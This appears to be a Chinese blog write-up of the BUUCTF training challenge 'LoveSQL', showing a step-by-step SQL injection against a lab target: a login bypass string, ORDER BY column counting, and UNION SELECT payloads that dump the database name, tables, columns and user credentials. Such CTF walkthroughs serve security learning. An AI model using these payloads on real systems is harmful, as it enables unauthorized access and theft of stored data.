[极客大挑战 2019]LoveSQL

环境

BUUCTF在线环境,启动靶机,获取链接。
http://4c0c8173-cd8d-4da6-b36f-1136831030bf.node4.buuoj.cn:81/

解题思路

访问链接,发现跟之前做的EasySQL一样的页面,上次是万能密码直接进入了获取了flag,先试试万能密码。
在这里插入图片描述
使用万能密码admin' or '1'='1
在这里插入图片描述
获得了一串字符串,拿去MD5解密没有解出来。
在这里插入图片描述
接着思考,题目提示是SQl注入,而万能密码能登进来说明是存在字符型注入的,所以看看用户表有多少字段。
admin' order by 3%23注意注释符#在URL中需要url编码即%23.
在这里插入图片描述
回显正常,试试4个字段。
admin' order by 4%23,报错,说明当前表只有三个字段。
在这里插入图片描述
继续构造,查看在哪一个字段有回想。
1' union select 1,2,3%23,结果说明第2,3字段都可以回显,所以我们payload的位置可以在2,3字段。
在这里插入图片描述
爆当前数据库名和数据库版本。
1' union select 1,database(),version()%23
在这里插入图片描述
当前数据库名为geek,继续按照流程爆表名。
1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23
有两个表:geekuser,l0ve1ysq1。
在这里插入图片描述
接着爆l0ve1ysq1表的字段名。
1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="l0ve1ysq1"%23
在这里插入图片描述
有三个字段和我们之前用order by语句判断的一致,接着爆出表内容。
1' union select 111,222,group_concat(id,username,password) from l0ve1ysq1%23
在这里插入图片描述
获取flag。
最终payload为:

?username=' union select 111,222,group_concat(id,username,password) from l0ve1ysq1%23&password=a260e681b279a958e882a9f3403357a8

总结

这道题是基础字符型SQL注入,没有什么坑点。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值